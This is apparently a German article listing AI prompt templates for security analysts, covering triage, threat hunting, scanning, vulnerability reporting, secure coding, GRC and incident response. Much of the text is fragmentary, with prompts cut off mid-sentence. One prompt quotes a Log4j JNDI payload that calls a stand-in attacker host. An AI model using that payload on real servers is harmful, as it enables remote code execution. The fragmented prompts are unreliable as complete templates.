25 KI-Prompts, die jeder Sicherheitsanalyst speichern sollte (2026)

[PASTE_SANITIZED_ALERT_DATA]

[PASTE_SANITIZED_FIREWALL_LOGS]

blockiert.
1.  Was deutet diese Malware-Signatur in einfachen Worten typischerweise an?
2.  Was ist das typische Verhalten dieser Malware-Familie? (z. B. Ransomware, Infostealer, RAT)
3.  Welche 3-5 sofortigen nächsten Schritte sollte ein Junior-Analyst unternehmen, um den Host

-   **Key Lure:** The email claimed to be an "urgent invoice payment required" and urged the user to click a link.
-   **URL:**

angreift, generieren Sie drei unterschiedliche Threat-Hunting-Hypothesen.
Geben Sie für jede Hypothese an:
1.  Die Hypothese selbst.
2.  Die benötigten Datenquellen (z. B. EDR-Protokolle, DNS-Protokolle, Proxy-Protokolle).
3.  Eine Beispielabfrage (in Pseudo-Abfragesprache) zur Überprüfung der Hypothese.
Beispielformat:
**Hypothesis 1:** The threat actor is using scheduled tasks to establish persistence.
**Data Source:** EDR process creation logs, Windows Event Logs (ID 4698).
**Query:**

[PASTE_CVE_LIST_AND_CVSS_SCORES]

patchen muss.
Entwerfen Sie eine klare, prägnante E-Mail, die:
1.  Mit der Angabe der Schwachstelle und des betroffenen Systems (

Agieren Sie als Sicherheitsberater. Ich muss einen Tenable Nessus-Scan für ein neues Segment unseres Netzwerks konfigurieren, das `[SERVER_TYPES]` (z. B. Webserver, Datenbankserver, Domänencontroller) enthält.
Empfehlen Sie eine Nessus-Scan-Richtlinienkonfiguration. Ihre Empfehlung sollte Folgendes umfassen:
-   **Scan-Vorlage:** Mit welcher Nessus-Vorlage begonnen werden soll (z. B. Basic Network Scan, Credentialed Patch Audit).
-   **Anmeldeinformationen:** Warum ein authentifizierter Scan notwendig ist.
-   **Plugins:** Welche Plugin-Familien für diese Servertypen am wichtigsten sind.
-   **Häufigkeit:** Eine empfohlene Scan-Häufigkeit (z. B. wöchentlich, monatlich).
Geben Sie die Ausgabe als eine Reihe klarer Empfehlungen mit kurzen Begründungen für jede an.

gemeldet, aber wir haben festgestellt, dass es sich um einen False Positive handelt.
Ich muss eine formelle Begründung für unsere Unterlagen verfassen. Entwerfen Sie einen Absatz, der erklärt, *warum* dieses Ergebnis ein False Positive ist.
Verwenden Sie die folgenden Informationen:
-   **Ergebnis:** Der Scanner identifizierte

Sie sind ein Schwachstellenanalyst und berichten dem CISO. Ich habe eine Liste von 5 kritischen Schwachstellen, die diese Woche entdeckt wurden.
Erstellen Sie eine übergeordnete Zusammenfassungstabelle für einen Managementbericht. Die Tabelle sollte die folgenden Spalten haben:
-   `Schwachstelle (CVE)`
-   `Betroffene Systeme (Anzahl)`
-   `Empfohlene Maßnahme`
-   `Zuständiges Team`
-   `ETA Behebung`
Füllen Sie die Tabelle mit diesen Daten aus:
-   **CVE-2026-1001:** Affects 15 web servers. Action: Apply vendor patch. Team: Web Ops. ETA: 7 days.
-   **CVE-2026-1002:** Affects 50 workstations. Action: Deploy updated software via SCCM. Team: Desktop Engineering. ETA: 14 days.
-   **CVE-2026-1003:** Affects 2 domain controllers. Action: Apply registry key change. Team: Infrastructure. ETA: 3 days.
-   **CVE-2026-1004:** Affects 10 Linux servers. Action: Update kernel. Team: Linux Ops. ETA: 10 days.
-   **CVE-2026-1005:** Affects 1 custom application. Action: Developer code fix. Team: AppDev. ETA: 30 days.

-Code-Snippet auf potenzielle OWASP Top 10 Schwachstellen, insbesondere suchen Sie nach:
-   Injection-Schwachstellen (SQL, Command)
-   Fehlerhafte Authentifizierung
-   Offenlegung sensibler Daten
-   Unsichere Deserialisierung
Geben Sie für jedes gefundene Problem an:
1.  Die Nummer der anfälligen Zeile.
2.  Eine kurze Erklärung der Schwachstelle.
3.  Ein Codebeispiel, das zeigt, wie es behoben werden kann.
Wenn keine Probleme gefunden werden, geben Sie dies an.
Code-Snippet:

Unser Snyk-Scan hat eine kritische Schwachstelle (`[CVE_ID]`) in der Open-Source-Bibliothek `[LIBRARY_NAME]`, Version `[VERSION_NUMBER]` gefunden.
Erklären Sie diese Schwachstelle einem Entwicklungsteam. Ihre Erklärung sollte Folgendes umfassen:
1.  Was die Schwachstelle einem Angreifer ermöglicht (z. B. Remote Code Execution, Denial of Service).
2.  Wie die Schwachstelle ausgelöst wird.
3.  Was die empfohlene Maßnahme ist (z. B. „Upgrade auf Version X.Y.Z“).
Halten Sie die Erklärung prägnant und konzentrieren Sie sich auf das, was die Entwickler wissen müssen, um das Problem zu beheben.

Agieren Sie als leitender Sicherheitsingenieur. Verfassen Sie eine Richtlinie für sichere Codierung für unser Entwicklungsteam zum Thema „Eingabevalidierung“.
Die Richtlinie sollte ein Markdown-Dokument sein, das Folgendes enthält:
-   Eine kurze, einfache Erklärung, warum Eingabevalidierung wichtig ist.
-   Einen „Do“-Abschnitt mit 2-3 Best Practices (z. B. Positivlisten verwenden, serverseitig validieren).
-   Einen „Don't“-Abschnitt mit 2-3 häufigen Fehlern (z. B. sich nur auf clientseitige Validierung verlassen, Negativlisten verwenden).
-   Ein kurzes, klares Codebeispiel in `[LANGUAGE]`, das eine „schlechte“ vs. „gute“ Implementierung zeigt.

-Funktion, die anfällig für SQL-Injection ist.
Refaktorisieren Sie den Code, um parametrisierte Abfragen (Prepared Statements) zu verwenden und diese Schwachstelle zu verhindern. Zeigen Sie die Codeblöcke „vorher“ und „nachher“.
Anfälliger Code:

)
-   GitHub personal access token (e.g.,

Agieren Sie als GRC-Analyst. Ich muss eine neue Unternehmenssicherheitsrichtlinie zum Thema „Akzeptable Nutzung von KI-Tools“ entwerfen.
Die Richtlinie sollte mit den folgenden Abschnitten strukturiert sein:
1.  **Zweck:** Warum diese Richtlinie existiert.
2.  **Geltungsbereich:** Für wen diese Richtlinie gilt.
3.  **Richtlinien-Aussagen:** Eine Liste von Regeln, einschließlich:
-   Verbot der Nutzung öffentlicher KI-Tools mit sensiblen Unternehmens- oder Kundendaten.
-   Anforderung, nur vom Unternehmen genehmigte KI-Plattformen zu verwenden.
-   Richtlinien zur Überprüfung der Genauigkeit von KI-generierten Inhalten.
-   Eine Erklärung zu Datenbesitz und Vertraulichkeit.
4.  **Durchsetzung:** Die Konsequenzen bei Verstoß gegen die Richtlinie.
Generieren Sie einen professionellen Entwurf dieser Richtlinie.

Ich bereite mich auf ein Audit vor. Ich muss unsere bestehenden ISO 27001-Kontrollen den SOC 2 Trust Services Criteria zuordnen.
Identifizieren Sie für die folgende ISO 27001-Kontrolle die entsprechenden SOC 2-Kriterien, die sie erfüllt.
**ISO 27001 Kontrolle:** `[ISO_CONTROL_DESCRIPTION]` (z. B. „A.9.4.1: Beschränkung des Informationszugriffs“)
Geben Sie die entsprechende SOC 2 TSC und eine kurze einzeilige Erklärung der Zuordnung an.
Beispielausgabe:
**SOC 2 TSC:** CC6.1 - Logical Access Security
**Explanation:** This control directly supports the SOC 2 requirement to restrict logical access to information and systems based on roles and responsibilities.

) und ein Screenshot des Scan-Zeitplans (

Ich führe eine Risikobewertung für unsere neue `[CLOUD_SERVICE_NAME]`-Bereitstellung durch.
Generieren Sie ein Risikoszenario im Zusammenhang mit „Unzureichende Zugriffskontrollen“. Das Szenario sollte mit diesen Feldern strukturiert sein:
-   **Risikoszenario:** Eine kurze, einzeilige Beschreibung des Ereignisses.
-   **Bedrohungsakteur:** Wer dies verursachen könnte (z. B. böswilliger Insider, externer Angreifer).
-   **Schwachstelle:** Die Schwäche, die dies ermöglicht (z. B. übermäßig permissive IAM-Rollen).
-   **Auswirkung:** Das Geschäftsergebnis, falls es eintritt (z. B. Datenleck, Dienstunterbrechung).
-   **Bestehende Kontrollen:** Was wir derzeit implementiert haben (z. B. MFA, grundlegende Protokollierung).
Füllen Sie diese Struktur für das Risiko „Unzureichende Zugriffskontrollen“ aus.

Ich muss einem nicht-technischen Risiko-Komitee das Risiko einer ungepatchten Log4j-Schwachstelle (CVE-2021-44228) erklären.
Übersetzen Sie die folgende technische Beschreibung in eine einfache, analogiebasierte Geschäftsrisikobeschreibung. Vermeiden Sie Fachjargon wie RCE, JNDI und LDAP.
**Technische Beschreibung:** „Die Log4j-Schwachstelle ermöglicht die nicht authentifizierte Remote Code Execution (RCE) durch das Protokollieren einer speziell präparierten Zeichenkette. Ein Angreifer kann eine Zeichenkette wie `${jndi:ldap://attacker.com/a}` senden, die den Server veranlasst, sich mit dem System des Angreifers zu verbinden und eine bösartige Nutzlast auszuführen.“
Konzentrieren Sie sich darauf, was es für das Unternehmen bedeutet (z. B. „Es ist, als würde man eine Hintertür unverschlossen lassen...“).

[PASTE_SANITIZED_AND_TIMESTAMPED_LOG_ENTRIES]

DRINGEND: Eskalation Sicherheitsvorfall - [INCIDENT_TYPE]

Sie sind ein erfahrener Incident Response Manager. Unser Team hat gerade einen `[INCIDENT_TYPE]`-Incident behoben.
Erstellen Sie eine detaillierte Gliederung für ein Post-Incident Review (PIR)-Dokument. Die Gliederung sollte alle Hauptabschnitte und Unterpunkte für die wichtigsten Themen enthalten, die in jedem Abschnitt behandelt werden sollen.
Fügen Sie Abschnitte ein für:
1.  Zusammenfassung für die Geschäftsleitung
2.  Incident-Timeline (Schlüsselereignisse)
3.  Ursachenanalyse (Was ist schiefgelaufen?)
4.  Auswirkungsanalyse (Geschäftlich, Technisch, Finanziell)
5.  Gelernte Lektionen (Was lief gut? Was lief schlecht?)
6.  Aktionspunkte (Eine Tabelle mit Spalten für Aktion, Verantwortlicher und Fälligkeitsdatum)

Wir beginnen eine digitale forensische Untersuchung auf einem kompromittierten Host (`[HOSTNAME]`) im Zusammenhang mit einem Datenexfiltrationsvorfall.
Agieren Sie als leitender forensischer Ermittler. Erstellen Sie eine Liste der Top 10 Schlüsselfragen, die unsere Untersuchung beantworten muss. Die Fragen sollten darauf abzielen, den vollständigen Umfang und die Zeitlinie des Verstoßes festzulegen.
Beispiele:
-   How did the attacker gain initial access to the host?
-   What tools did the attacker use on the host?
-   What data was accessed or exfiltrated from the host?

Sie sind der Leiter der Unternehmenskommunikation und arbeiten mit dem Sicherheitsteam zusammen. Wir müssen ein kurzes internes Update an alle Mitarbeiter über einen kürzlich behobenen Sicherheitsvorfall senden.
Der Vorfall war ein `[INCIDENT_TYPE]`, der `[IMPACT]` verursachte.
Entwerfen Sie eine kurze, beruhigende und nicht-technische Nachricht für alle Mitarbeiter. Die Nachricht sollte:
-   Bestätigen, dass eine Störung aufgetreten ist.
-   Bestätigen, dass das Problem nun behoben ist.
-   Dem Sicherheitsteam danken.
-   Mitarbeiter daran erinnern, wachsam zu bleiben und verdächtige Aktivitäten zu melden.
Fügen Sie keine technischen Details zum Vorfall hinzu.